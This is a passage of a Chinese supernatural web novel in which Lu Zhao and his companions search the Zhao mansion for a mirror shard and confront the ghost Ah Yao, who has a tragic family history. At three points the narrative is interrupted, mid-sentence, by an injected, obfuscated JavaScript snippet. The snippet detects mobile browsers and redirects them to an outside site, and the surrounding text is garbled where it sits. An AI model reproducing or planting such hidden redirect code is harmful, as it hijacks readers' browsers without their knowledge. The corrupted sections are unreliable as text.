蛮子门前台阶干干净净,上悬牌匾,草书赵府。 谁也想不到这门匾下面曾经悬着一片赤条条的肉。 越是这般干净,越令人发憷。 闻晧大步上前,伸手推了一下门。 门仿佛被焊死了,一动不动。 他转而寻找围墙,丈量了一番高度,自信道:“我可以进去。” 说完他交代陆昭,“我先进去看看,要是血魔在的话,我让他再吸一次,我就不信他死不了!老陆啊,要是听到我说‘风紧扯呼’,你就赶紧走。” 陆昭:“……” 一声漫长如一个世纪般的“吱呀”传进他耳朵里。 竟是大门开了。 一道一人进出的缝隙,风从院子里吹出来,凉飕飕的。 闻晧摸了摸自己的胳膊,“好冷。诶,老陆——” 陆昭最先走进去。 余锏抱着手臂在一旁看着,见陆昭进去,身体几难察觉地往前倾了一下。 闻晧后脚跟上,一眼看见院子里停着的两顶花轿。 “新郎官不会是因为有两顶花轿,选不出来才走的吧。”闻晧开玩笑道。 陆昭钻进玻璃瓶,“走,过去看看。” 闻晧不禁说:“嘿,我怎么发现有的时候你胆子比我还大。” 说话间两人已经靠近了花轿。 陆昭看右边的,闻晧便看左边的。 他用力掀开轿帘,看见里面空空如也,不觉有些失望。 “老陆,我这边——老陆!” 闻晧转眼看去,见陆昭跟他一样掀开了轿帘,整个人却莫名摔了进去! 闻晧冲到花轿前,掀开轿帘。 空空如也。 · 陆昭掀开轿帘时,还未看清里面有什么,就被一只纤细修长的手抓住衣领,拽了进去。 下一刻,他后背仿佛撞上硬板,发出“嘭”地一声。 四周黑漆漆的。 陆昭试着动弹,手脚却碰到了墙壁。 他被困在了一个长方体里。 外面似乎有声音。 陆昭将耳朵贴近墙壁,隐约听到…… 敲锣打鼓? 他心里冒出一个念头:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262438|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>自己不会是躺在迎亲队伍的棺材里吧? 陆昭伸出双手,试图推动上方。 太重了他推不动。 奏乐不知维持了多久,陆昭一直没听见停下来。 棺材是密封的,空气越来越稀薄,他开始感觉呼吸困难,心跳加速。 这种情况下越是紧张,消耗的空气越多。 陆昭告诉自己要冷静。 他开始在棺材里摸索,寻找可能有的生路。 疼。 突如其来的疼痛在指尖。 陆昭看不见,只能将手放到唇边。 他尝到了血腥味,手指被划破了。 不像扎破。陆昭谨慎地在划破手指的地方摸了摸。 一片冰凉贴着他的掌心。 陆昭小心翼翼地把它捡了起来。 边缘锐利,捡拾的过程中,他的手掌又被划出一道血痕。 摸着像玻璃,又像…… 镜子。 陆昭将它拿到眼前,惊讶地发现这是黑漆漆的棺材里唯一发亮的东西。 真的是镜子碎片。 镜子里倒映出陆昭的样子,转动之间,镜中自己的脸变了。 变成一张浓妆艳抹的脸。 陆昭的心跳仿佛停止了。 棺材忽然重重地落了地。 他的身体滞空,手中之物滑落,不知掉到哪里去。 陆昭伸手摸索,却被一只干燥的手反握住。 对方指间的老茧甚是熟悉。 不等他思索,那手猛地一拽—— 眼前骤然亮了起来。 刺目的光让他不禁闭上眼,身体像笨重的石头砸进水潭里。 不过水潭可不会接住他。 陆昭晕头转向,抬起头,险些撞到余锏的下巴。 他意识到是余锏把自己从棺材里拉了出来。 “棺材……”陆昭有些茫然地转头。 哪来的棺材,他出来的地方明明是个花轿。 “你还真有办法!”闻晧不敢相信,毕竟余锏这个棺材脸一路上都没干过什么,竟能跟变戏法似的将陆昭从花轿里重新“变”了出来。 “你的手。” 陆昭的血染红了余锏的手帕。 陆昭以为他介意这个,“回头我帮你洗一下,谢谢你救了我。” 余锏的眉头微不可查地皱了一下。 “还是先从这鬼地方出去吧!”向来勇往直前的闻晧都怕了。但他不是怕这里的东西,是怕陆昭又被什么拽进去了。 三人就近找了一间空屋子。 心跳渐渐平缓,陆昭才感觉到掌心钻心的疼。 原来镜子留下的伤口深可见骨。 “撕拉”一声,余锏撕掉了自己的衣袖,替他包扎。 陆昭又说了声“谢谢”。 闻晧给他塞了一颗补血药丸,“老陆,你快吓死我了,那花轿里有什么东西,怎么你突然就消失了?” 陆昭已经记不清镜中那张脸的五官。 只记得她有一双十分怨毒的眼睛,仿佛天底下没有她不恨的人。 难道她就是被杀死的新娘子? 这不是重点,陆昭直言:“我好像拿到了沧海镜的碎片。” 5. 第 5 章 “沧海镜?”闻晧不敢信。 他作势要回赵家,“是不是在花轿里没带出来?” 陆昭拽住他,“我是在棺材里看到的。” 闻晧汗毛竖起来了,“棺材?” “嗯,我被一只手拽进了花轿,然后被关进一个棺材里。外面有敲锣打鼓的声音,我觉得就是迎亲队伍的棺材。我在里面摸到了一块碎片,正是它划破了我的手。” 闻晧:“一块镜子的碎片,也不一定是沧海镜的。” 陆昭:“它如果出现在这个房间里,就不一定。但它出现在鬼迎亲的棺材里,就有可能了。” “有道理。”闻晧拍拍他的肩,“老陆,你可真聪明。那你怎么没拿出来?你知道刚才多危险吗,幸好他——对了老兄你叫什么?” “余。” 棺材脸,惜字如金,闻晧耸肩,“余老兄,你刚是怎么把老陆救出来的?莫非,你会道法?” 闻晧一心想进醍醐天,学无上道法,救世间水火。 说到“道法”两个字,掩不住艳羡之色。 “家学。”余锏视线落在陆昭手上的手上,“障眼法。” 陆昭也在看自己的手,“你的意思是,我其实在花轿里,只是别人看不到。” “怎么我就没这种家学,回去让我老爹好好努力,争取也能传下来。”闻晧羡慕坏了。 回归正题,陆昭解释棺材里突然颠簸,碎片从他手上滑落。 若无意外,它还在那里。 “如果我是血魔,偷到了沧海镜,我应该想办法用它才对,而不是让它碎成这样。说明,我不知道怎么用。而我又不敢将它完整地留在身边,所以,这镜子极有可能是我自己弄碎的,将其中一块藏在赵家。” 余锏眼里浮现隐隐的赞赏。 “合理。” 闻晧也觉得很合理,“赵家有一个杀人的鬼,每天还有鬼新郎进城吓人,根本没人敢进去。让一个鬼替他看守沧海镜,血魔还挺聪明的。” 说罢,他发起誓来,“老陆,放心,我一定帮你回家。血魔这么在乎沧海镜,那只要我们拿到镜子碎片,他肯定坐不住。既然碎片在棺材里,明天我进花轿里去。” 陆昭有些担心,但他没有保全闻晧的手段。 刚才是余锏救了他,陆昭下意识看向余锏。 似乎知道陆昭要对他说什么,余锏静静地看了回来。 但陆昭什么也没说。 因为他觉得这件事跟余锏没有关系。 下意识的,便不想麻烦他。 他没开口,余锏突然冷哼一声,喝光杯子里的水,重重地放在桌上。 “老闻,如果有危险,我跟你一起扛。”陆昭想定后说道。 闻晧很感动,泪汪汪的,“老陆,好兄弟啊——” “天要黑了,今晚在这里过夜。” 余锏倏地起身,往二楼走去。 闻晧这么迟钝的人也感觉到哪里不对,“余老兄怎么了?” 陆昭也不明白,他对闻晧摇摇头,“我也不知道。楼下还有房间,好好休息,明天或许有一场硬仗要打。” · 夜深了。 桌上烛火微微摇晃。 陆昭躺在床上,背靠着厚厚的棉被。 他闭上眼睛就会想起在镜子中看见的脸,难以入眠。 倒不是害怕。 毕竟他是恐怖片爱好者,一张可怕的脸算不上什么。 但那双眼睛里的怨毒与憎恨,让人胸口仿佛坠了一块沉甸甸的石头,喘不过气。 陆昭居然有点羡慕。 他闭上眼,准备睡去。 这时,屋外传来了敲门声,“有人吗?有人吗?” 是一个女人的声音。 陆昭下意识坐起身,脚尖触碰到运动鞋的时候意识到这城里已经没几个人了。 更别说夜这么深,怎么会有人在鬼城里晃悠? 那声音的主人问询几声便沉寂了。 陆昭思前想后,还是没出去查看。 经此一事,他不敢吹灭烛火,强打精神醒了一阵子,迷迷糊糊地睡了过去。 陆昭这一觉睡得很深。 第二天,他是被敲门声吵醒的。 “老陆!”屋外传来闻晧急切的声音。 见凌乱的陆昭出现,他才松了一口气,“你昨晚听到了吧?” 陆昭揉了揉眼睛,“大半夜找人的女人吗?” 闻晧诧异:“女人?不是啊,我听到的是我老爹的声音。” 陆昭一愣,“你老爹?” “对啊,我当时已经睡过去了,听见我老爹在外面喊我出去,我还以为是做梦。睡醒了才发现不太对劲,你听到的是女人声?” 陆昭迟疑了一下,“嗯。” “陆昭。” 陆昭歪了歪头,看见站在楼梯下的余锏。 第一次听余锏喊自己的名字,哪里怪怪的。 陆昭点头,“余锏,你昨晚听到声音了吗?” 余锏的眼睛与他的人一样沉默。 “没有。” “这丧魂专挑软柿子捏。”闻晧抹鼻子,“呸,小爷才不是软柿子!要不是睡得沉,早出去干他了!” 陆昭忽然:“快到中午了吗?” 闻晧想起正事,“对啊,我们今天要混进迎亲队伍里,快,赶紧去城门那里蹲守。” 三人来到昨日藏身的地方,静候天时。 前脚才多好,后脚雾气弥漫,吹吹打打应约而至。 鬼新郎仍是垂着一跳一跳的头。 知道这是一个无论如何也娶不到新娘子的鬼新郎,陆昭心里多了一抹同情。 闻晧紧盯着队伍,直到看见棺材,二话不说冲了上去。 他一下子扑到了棺材上,旋即觉得周围许多道视线射了过来。 迎亲队伍停下了。 一张张没五官的脸皮转向他的方向,仿佛他们真有眼睛,紧紧盯着闻晧似的。 闻晧心里打怵,默道“输人不输阵”,用劲将棺材推开。 他以为会在里面看到沧海镜碎片,拿起就走便可。谁知道,里面竟躺着一个人。 是一个新娘子,头没了,只有身体。 闻晧视线腾挪,看见了压在新娘子裙裾下面的镜子碎片。 他伸手去拿,手腕却被攥住了。 是新娘子的手。 闻晧浑身毛都炸了。 他其实很怕妖魔鬼怪,从小到大,他天不怕地不怕,唯怕鬼神! 眼下双腿如灌了铅一般,动弹不得。 “你也要选姐姐吗?” 一道阴森森的声音在他耳畔响起。 粘腻如蛇。 “老闻!” 陆昭的声音掷地有声,把闻晧从恐惧里拽了出来。 他一把抓住闻晧的衣领子,向后拽去。 两人一起摔倒在地。 闻晧手腕剧痛,打眼一看,竟是被长长的指甲划出数道血痕。 “沧海镜碎片在里面……” 闻晧并不是提醒陆昭,他是提醒自己。 但他双腿酸软,竟站不起来了。 陆昭却先爬起来了。 他一头栽进棺材里,将什么东西丢了出来。 那亮晶晶在空中划过,掉向闻晧。 闻晧下意识伸手握住,掌心微疼。 是沧海镜碎片? 惊喜不过一瞬。 “老陆!”闻晧惊呼。 ——陆昭将碎片丢出来后,竟被拽了进去! 棺材盖自动阖上,伴随着一声嘹亮的唢呐声,迎亲队伍继续行进! 闻晧起身,拖着身体追赶迎亲队伍。 队伍却没有再停下了。 显然陆昭肯以身犯险,是相信自己能将他救出来。 血沿着闻晧的手臂往下滴。 他紧咬牙关,迈开步子追赶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262439|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> · 陆昭被鬼手拽进棺材后,里面的女尸不见了。 他又被困在了棺材里,不过上次不大一样。 身边多了一个人。 对方发出粗重的喘声。 慢慢地,贴近他的耳朵,声音时而尖利,时而沙哑:“你也选姐姐吗?” 陆昭觉得对方想要听他说“不是”。 但接下去他该如何回答? 他在思考,鬼却等不及了。 沉默就等于选择。 鬼手掐住了他的脖子,指甲嵌入他的肉里。 心念只在一瞬,他脱口而出:“我不认识你们俩,怎么选?你总要告诉我,你和你姐姐有什么区别。” 脖子上的鬼手停住了。 陆昭:“你不满意这个回答?可我要是说选你,你肯定不信。” 过了很久,黑暗里传来鬼笑,“是啊,我不信。” “那你告诉我到底发生了什么事吧。”陆昭说,“至少我要知道我选了谁。” 又是一段长长的沉寂。 陆昭并非没有忐忑,但他并不畏惧死亡。 等待时,他默默攥紧了玻璃瓶。 “好。” 棺材盖忽然打开了。 鬼手把他扯了出去,陆昭回头,却看见自己的身体还在棺材里。 “看!”鬼手扭住他的下巴,逼他看眼前。 一间装潢简单的屋内,一个少女坐在镜前梳妆。 她为自己涂脂抹粉,敷上厚厚铅粉,掩饰高耸的鼻梁和深邃的眉眼。 看着镜中惨白的人脸,她挤出一个笑容,开始学着用尖利的声音说话。 “郎君近来府上可好?” “郎君,我与姐姐孰美?” “郎君——” 她破音了。 少女呆呆地看着镜中人,双眸渐渐冷了下来。 她抬起袖子,粗鲁地擦掉脸上的妆。 露出她原本的肌肤。 “阿夭,你在干什么?”屋外传来温柔的女声,“吴郎来了,你上次说想吃的糕点他带来了,与我一起去见他可好?” 阿夭一下又一下地擦着脸,把小脸擦得斑驳。 等不到她回复,女声便自言自语道:“不在吗?” 脚步声响起。她走远了。 直到将整张脸都擦干净了,阿夭站起来,手按在铜镜上。 “我本是……” 她开口,可算将嗓子吊了上去,“我本是男儿郎,又不是女娇娥……” 陆昭听见身后的鬼也在念。 只不过是“我本是女娇娥,又不是男儿郎”。 她问:“你选谁?” 陆昭实话实说:“我知道得太少。” 鬼手的指甲长了一分。 她冷笑:“你的机会可不多。” 场景变幻。天陡然亮了,陆昭站在一叶扁舟上,周遭荷叶凋败,雾气弥漫。 舟上除去船夫,还有两女一男。 其中一个少女便是他刚刚看到的人。 另一个少女跟她有三分像,神情始终淡淡的。 她从食盒里拿出一叠糕点,递给眼前男人,“吴郎,上次你说这糕点好吃,阿夭便做了些。” 男人注意到这盘子里有两色糕点,“都是你的婢女做的吗?” “这两个是我做的。”少女指着其中两个。 男人毫不犹豫,拿起她做的放进嘴里,“好吃。” “好吃就好。”少女放下食碟,攥着帕子的手往前送。 男人以为她要给自己擦嘴,喜滋滋地凑过去。 但少女却把手帕塞进他手里,“你嘴角脏了。” 男人有些失望,但还是接受她这做法。 倒是一旁阿夭冷眼看着,残荷与雾气的寒,一丝丝环绕着她。 仿佛她才是阴冷的湖水。 男人只吃了少女做的两个,阿夭做的,他碰也没碰。 6. 第 6 章 鬼手又嵌入了肌肤一分。 “痛的不是你的魂,是你的体。”鬼阴测测地笑,提醒他时候到了,“选吧。” “还是不够。”陆昭说,“那个点心好吃吗?” 他突如其来的岔开话题让鬼沉默了一下。 陆昭忽然走近了,在阿夭身边坐下。 他伸手拿点心,但这是过去,当然抓了一手空。 陆昭不禁感慨:“要是能吃到就好了。” 鬼开口:“未必多好吃。” “总要试试。万一我喜欢呢?”他噙着淡淡的笑。 他确实有点想念住处楼下的港式点心铺了。 刚出炉的菠萝包酥皮焦脆,夹着黄油放进嘴里,先是奶香在口腔化开,伴着酥脆和松软融合交织。 第一次吃的时候他就很想分享给别人。只是在店里环顾一圈,都是他不认识的人。便作罢了。 “我不会做饭。”陆昭羡慕道,“你会做点心,手艺肯定不差。” 鬼冷笑:“够了,再不选,便杀了你。” “我又不是他。”陆昭指了指男人,“我没有尝过你们俩做的点心,很难判断谁做得更好吃,选谁都不公平。我要是骗你,你会立刻发现,不是吗?” 鬼竟沉默了。 “还是说,不管我选谁,你都要杀我?那你何必浪费时间,直接杀我就行了。” “真是巧舌如簧。”鬼阴阳怪气,听不出是真恼火还是假讥讽。 “谢谢。”陆昭贴着话尾。 这个鬼好像遵循着某种杀人规则。 湖上的雾气漫了过来。 将陆昭整个人包裹住,旋即散去,他又来到一个陌生场景。 一个端庄妇人跪在地上,瑟瑟发抖。 旁边趴着一个男孩子,伸手想够她,被妇人用手拍开。 她面带惊惧,反倒要去搂旁边的女孩。 三人面前,中年男人暴跳如雷,“胡闹!若不是奶妈,你打算瞒我到什么时候?这孩子根本就是个女孩!” 他指着男孩。 “我年近四十好不容易得了一个儿子,以为赵家从此有后,许你不再纳妾之诺,你竟隐瞒我这孩子的阴阳之身。若非奶妈发现,你难不成想瞒我一辈子?” 男人气得发抖,“赵郭氏,你好大的胆子!” “可、可他确实是男孩……”妇人嘴唇煞白,“我从来不知他是阴阳人,老爷,我也是被他骗了……” “娘……”男孩有些茫然,伸手去扯妇人衣角。 妇人下意识甩开他,手掌拂过他的脸。 留下清晰的五个指印。 她先是惊愕,旋即茫然,再是狠决。紧紧抱住女孩,“我不是你娘,你是个怪物!” 怀中的女孩疑惑:“娘,你为什么说弟弟是怪物?” “他不是你弟弟!”妇人捂住女孩的嘴,“他是不男不女的怪物!他骗了你爹,骗了我,骗了所有人!” 妇人向男人哭诉起来,“老爷,冤枉啊,一定是有人趁我怀着孩子的时候下了咒,才令我生下这不男不女的妖怪!老爷,我真的不知情!” 男人的脸色却缓和下来,“不管如何,他都是我赵家骨血,理应留在赵家。但赵郭氏,往后你再也没有儿子了。” 仿佛晴天霹雳,妇人垮坐在地,半晌,带着最后一丝希冀,把女孩扯到面前,“可老爷,晴儿是您的孩子啊。” “晴儿确实是我的孩子,往后我会为她择一门好亲事。”男人看向男孩,冷冷道,“男不男女不女的东西,往后留在府里,谁也不许说他是谁。” 从此他被剥去姓名,做了女郎的婢女阿夭。 陆昭感觉到指甲已深深嵌入他的皮肤。 纵没伤到大动脉。阵痛也很折磨人。 仿佛是阿夭也要他体验十年如一日来凌迟的疼痛。 “为什么她不选我?明明她说过,永远都会站在我这边……” 鬼的悲鸣混着低吟,含糊不清。 “她撒谎,从我出生起她就知道我是什么样子,她说虽然我跟别人不一样,但她最爱我。她说爹对她不好,整个赵府她就指着我,便是阿姐也不能解她心意……” 陆昭忽然觉得头皮一紧。 鬼手揪住他的头发,将他往后扯。 她的脸迅速腐烂,变成死后的模样。脸上还有斑驳的胭脂铅粉,说明死前厚厚地傅了一层。 “你选谁?” 陆昭知道他不管选谁,都会死。 他可以选择跟鬼继续周旋下去,直到闻晧找到救他的办法。 陆昭相信闻晧这个朋友,他看人向来很准。 但此刻他心情很复杂。 不是单纯的同情。陆昭在孤儿院长大,见过很多比他可怜的人。 在学校的时候他就知道圣母心帮不了任何人。 “我谁也不选。” 陆昭很平静地说。 鬼手的指甲突然伸长,甚是穿过了他的脖子。 他能感觉到生命的流逝,像夕阳下电车从面前飞驰而过时扬起的气流。 “因为我不需要你,也不需要你姐姐。你让我选,不过是做算法。算算你们谁的分数更高,可你知道,你永远不是分数高的那个。” 老闻,你快来吧。 陆昭无视鬼身上几乎具象化的滔天怒火,自顾自地说了下去,“你觉得他们都不选你,可他们从来不需要你。连你自己也不需要你自己。你看着镜子里的自己,擦掉了你的妆。你觉得是妆不好,还是你不好?” 陆昭看进她的眼睛。 怨毒,忿恨,是一双极其可怕的眼睛。 放在现代,她一定很适合演恐怖片。 ——但也极具生命力。 爱的极致,恨的终点,都有无穷的生命力。 “所以,你到底是女娇娥,还是男儿郎?” 轰——! 陆昭极速下坠,重重“摔”进了他的身体。 疼痛如潮水般涌来,他感觉头发湿濡,显然是脖颈间的血浸染了。 阴冷盘踞在他的胸口。 陆昭垂眸,看见鬼趴在他的身上。 她只有一个头,没有身体。 一瞬间,陆昭好像捕捉到了什么。由不得他多想,脖子上的血洞汩汩地流,他感觉闻晧再不来,他很快就会死掉。 “你知道吗,那两个人在找你。” 鬼悠悠道,仿佛看一出好戏,“有一个人的胆子可真大,居然把新郎官推了下去,自己骑马来到赵府。可惜啊,我准备了两个花轿。你在其中一个里,你说,他们能不能选对了?” 陆昭猜胆子这么大,这么莽的是闻晧。 余锏…… 他或许已经离开了。毕竟是他们俩主动卷到了麻烦里。 他只是要找血魔,不是送死。 “选错了,你会死。” 鬼话里隐隐兴奋。 陆昭下意识去做的还是握住颈间的玻璃瓶。 鬼也注意到了,“那是什么?” “我……”陆昭好心回答她,“我妈的骨灰。” 他知道鬼没有继续往下问,但他很想说,“我想复活她,我想问问她,当初为什么把我留在孤儿院……” 眼前忽然蒙了一层红色的阴翳,身上像被套了一层衣服。 脖子好痛。 陆昭昏昏沉沉的。 “老陆!” 闻晧的声音跟怒雷似的在耳边炸开。 陆昭听见闻晧那叽叽喳喳吵得不行的声音,“老陆,我看不见你啊老陆,你快伸手,手!” 手? 真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262440|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一只手伸了过来。 黑暗中,那只手仿佛会发光。 陆昭用尽浑身力气握了上去,手指触碰的瞬间,对方紧紧地攥住了他的。 温暖,干燥。 他的衣摆飞了起来,头上的东西被吹开,他才发觉是一块红盖头。 厚重的轿帘被掀开,陆昭飞出轿子。 他以为找到自己的人是闻晧,看见的却是余锏。 对方眼里翕闪着浮光,竟破天荒地流露出一抹笑意。 “嫁衣,不赖。” 陆昭低头一看,果然套了一身嫁衣。 连鞋子也是绣鞋,紧得很。 这是鬼混淆他们的手段。 余锏是怎么分辨出来的? “哎呀!”闻晧惨叫。 他选中的是错的花轿,刚才陆昭确实听见了他的鬼哭狼嚎。 掀开轿帘的刹那,无数只鬼手伸了出来,抓住闻晧。 闻晧扒住轿杆,才没被拽进去。 陆昭着急救他,但他自己已经受伤了。 他还是看向了余锏,后者也在看他。 余锏的目光在他脖颈间的血洞上。 他的手指握住了陆昭的颈,抹过他的伤口,有点痒。 陆昭忍不住歪了一下头。 他还是开口了,“余锏,你能救闻晧吗?” “你在求我。” 陆昭觉得这话有些奇怪,但眼下不是细嚼的时候,“对,我求你帮帮忙。” 他以为余锏会拒绝。 没想到余锏竟笑了一下,似乎心情不错。 他的手指间忽然浮现出一条条红色丝线。 仔细看,是从他的指尖“长”出来的。 红线飞向闻晧,也就一眨眼,抓住他的鬼手被斩断。 闻晧赶紧远离花轿,险些摔了个大马趴,“老陆,你没事,太好了!” 陆昭忍不住多看了余锏的手一眼。 红线已经消失了。 仿佛是错觉。 这也是“家学”? “你吓死我了,幸亏余老兄没有跑,他速度比我快多了,一脚把那个鬼新郎给踹倒了,捞、咳,带着我骑着马就来了!一个声音告诉我们你在其中一个花轿里,我看旁边那个脚那么大,我觉得是你,没想到不是!” 不管多危险,闻晧的嘴皮子始终是最溜的。 没想到骑马的是余锏。 陆昭张口就要说“谢谢”。 “你欠我。”余锏缓缓道。 陆昭一愣,回过神,“好,谢谢你,一定还。” 他觉得自己很真诚。 可余锏就跟风云难测的天一样,眼角的笑意又沉了下去。 闻晧想拉着两人跑,却见宅门轰然闭上了。 另一个花轿里的“新娘子”走了出来。 她的每一步都在地上留下一个血脚印,嫁衣愈发鲜艳。 陆昭这才想起自己被挤得生疼的脚,赶紧把绣鞋脱了。 他下意识摸了摸脖子,却发现伤口好了。 奇怪? “为什么?你都被能选中,可我,永远都没有人会选我……” 盖头下发出幽幽怨怨的声音。 闻晧鸡皮疙瘩都起来了,“这就是赵家死了的新娘子?” “不。”陆昭摇头,“她是新娘子的弟弟,阿夭。” 这话登时惹恼了她。 数不尽的鬼手从花轿里飞了出来,阿夭身后尽是扭曲面孔。 他们的魂魄被禁锢在这里,日日哭诉,日日哀求。 陆昭认出来其中三个人。 正是阿夭的父母,和与赵家女郎的未婚夫。 闻晧再也装不下去了,他怕死了,“老陆,我怕鬼啊!” 赶紧想想办法,他腿软了! 7. 第 7 章 陆昭看着几近癫狂的阿夭,脑海中闪过方才所见的一幕幕。 “棺材里的是她姐姐的身体,她割下了姐姐的头,把自己的头安了上去。新郎官每天入城迎亲,就是要从花轿里找出正确的人。选错就无功而返,每天重复。” 陆昭看向闻晧,“老闻,你说那个花轿上的人脚大?” “大!” “那你还记得棺材里的女人吗?她的脚多大?” 闻晧哪里记得这些,从里面捞出沧海镜碎片已经用了他半生勇气。 但他知道那绝对不是女人的脚,闻晧随手比划了一下,“这么大,你说能是女人的脚吗?” 44码,确实少见。 陆昭有一个猜测。 他想验证,但眼下闻晧跟自己一样“靠不住”。 在场三个人里,最可靠的是沉默寡言的余锏。 向他求助这件事,让陆昭想起上学的时候跟班主任请假。 可想想他已经欠了余锏一次,再欠也是欠,总不至于还不了。 “余锏,你帮帮我,算我欠你两次。” “两次?”余锏挑了下眉。 陆昭以为他嫌少。 他觉得是两次,但不妨碍再多加几次,人情怕欠不怕多。 “三次!” 丢下这两个字,陆昭冲了出去。 他站在阿夭面前,直面漫天鬼气、森然扑面。 风吹得裙摆猎猎,将阿夭的红盖头掀开了去。 露出陆昭见过的脸。 她给自己上了妆,仿佛接受了“女娇娥”的身份。 看着她平坦的胸脯,陆昭开口,“我现在知道选谁了。” 阿夭有些意外,嘴角差点咧到耳后,一张黑漆漆的大口布满尖牙,笑声刺人,“你方才还说你谁也不选。” “因为你根本没把答案放在选项里。” 陆昭指着她的身体,“这不是你姐姐的身体,是那个死掉的新郎官。我选他。” 风忽然停了。 阿夭双眸圆睁,浑身战栗,声音从牙缝里挤出来,“你、你怎么会知道……” “你根本不想当女娇娥,也不想做你母亲渴望的男儿郎。” 阿夭:“他也是一个男人。” “不一样,他是你能见到的人里,最自由的。” 陆昭轻轻舒了口气,“你觉得他有得选。” “哈……” 不知过了多久,阿夭大声地笑了起来。 她的笑声响彻整座宅院,身后诉说痛苦的怨魂都调转枪头,谩骂起她来。 “若是没有你这孩子,我赵家能变成如今模样?” “我真后悔生了你,没有你,我还是风光的赵府夫人。” “不男不女的妖怪!若不因你是赵家女郎的妹妹,早将你发卖了去,祸害!” 狂风骤起,大地战栗。陆昭身体摇摆,脚下站不稳。 他还有一个问题没能解答。 就算是冒着被杀的风险,他也大声地问了出来:“赵家女郎,你的姐姐去哪里了?” “阿夭呀……” 话音落下时,阿夭感觉到背后有一双手,贴着她的后背攀了上来。 是被她杀掉的姐姐。 阿夭的思绪飞快地回到那天。 她杀了姐姐,姐姐躺在她的怀里。 姐姐本就穿着嫁衣,血浸染了她的衣裳,晕作一朵红蔷薇。 她以为姐姐会咒骂她,就跟母亲当着父亲的面抛弃她时。 但姐姐只是叹气。 “阿夭呀……” 她自小跟在姐姐身边。 其实姐姐并没有苛待她,她也觉得姐姐并没有多喜欢那个男人。 她恨她。 却从未想过成为她。 比起她,姐姐总是那样淡淡的。 她觉得那是总是被选择的人才有的气定神闲。 可如今姐姐要死了,被自己亲手杀死。这双眼睛里,仍是只有尘世,没有任何人。 为什么? 她没来得及问。姐姐很快断了气。她断气之后,阿夭将她的嫁衣换到自己身上。 后来她杀了府里剩下的人,坐在花轿里等新郎官。 新郎官在两个花轿里选了她的,她就把他杀了。 不知道姐姐是不是恨她,整个赵家和迎亲队伍的阴魂都跟在她身后,如影随形。她却再也没见过姐姐。 如今知道姐姐还在,没有入轮回,她反而安心了。 阿夭转过脸去。 姐姐即便死了,眼里仍是淡漠的。 她忍不住问:“阿姐,你恨我吗?” 回答她的是一只手,遮住了她的眼睛。 “阿夭呀……” 少女的叹息时远时近,仿佛从梦里而来。 莲舟之上,她静静看着坐在船头的阿夭。 少女不知道她在烦闷什么,阿夭似乎总有很多心事,不为外人道。 “女郎。” 男人在喊她。 少女转过头来,脸上挂着疏远、礼貌的笑容,“吴郎何事?” “我们可否打个商量?你的婢女,就留在赵家吧。” 他的目光若有似无地落到阿夭身上。 “吴郎可是听到什么了?” “有人告诉我,赵家其实有一桩秘辛,就与你的婢女阿夭有关。女郎,此事我已知晓七分,便是允她入府,过得一段时日后也会发卖出去的……” “你知道?”少女唇边的笑容忽然收敛了。 男人以为她是为赵家丢了颜面而生气,“玩笑话而已,女郎放心,我不会说出去。” 少女慢慢抬起下巴。 “你——算什么东西?” 男人怔住。 “我从没见过阿夭为谁下厨。”少女拿起食碟上的一块点心,碎屑粘在指腹,她放到唇边轻舔,“还算识相。” 男人忽然意识到一件事。 “你、是因为她,才肯嫁我?” 少女将剩下的点心放进食盒里,又把食盒放在离开时随手就能拿走的位置,理了理压在身下的裙摆,才正襟而坐,看着男人,“赵氏根在京城,朝中有人。你凭什么认为,吴家会是所有求亲者里条件最好的?” “她只是一个不男不女的怪——” “天塌下来。”少女冷冰冰打断他,“我也要阿夭。” 庄子上,田埂间,她跟在阿夭身后。 看着他的身子跟水稻一样抽芽,她心里很是欢欣。 “阿姐,你说我们什么时候能回家?” 女孩看向远处的庄子。 他们的娘正在与奶妈拉扯,后者不知说了什么,吓得母亲扯住她的衣衫,甚至要跪下了。 娘总是惶惶不可终日。 她有一个大秘密,一个应该烂在肚子里的秘密。 女孩知道跟阿夭有关。 从一开始的好奇,到后来习以为常,不管娘说什么,她都能微笑着听完。 阿夭从不跟她说这些。 她喜欢抱着阿夭,小小的阿夭。 她的阿夭。 “阿姐!” 他站在蓝天下,发现了田边开的花,兴奋地朝她招手。 女孩提起裙摆,撒开步子。 “阿夭呀……” 阿夭眼睛睁得大大的。她已经是鬼,鬼没有眼泪,只有血。 两道血痕挂在她的脸上,尤其可怖。 恨总比爱更显眼。 少女的面容渐渐淡去。 阴魂如舞动的长蛇,争先恐后地钻进新郎官的身体。 阿夭尖叫,头和身体的连接处长出鬼手,将她的头颅顶了出去。 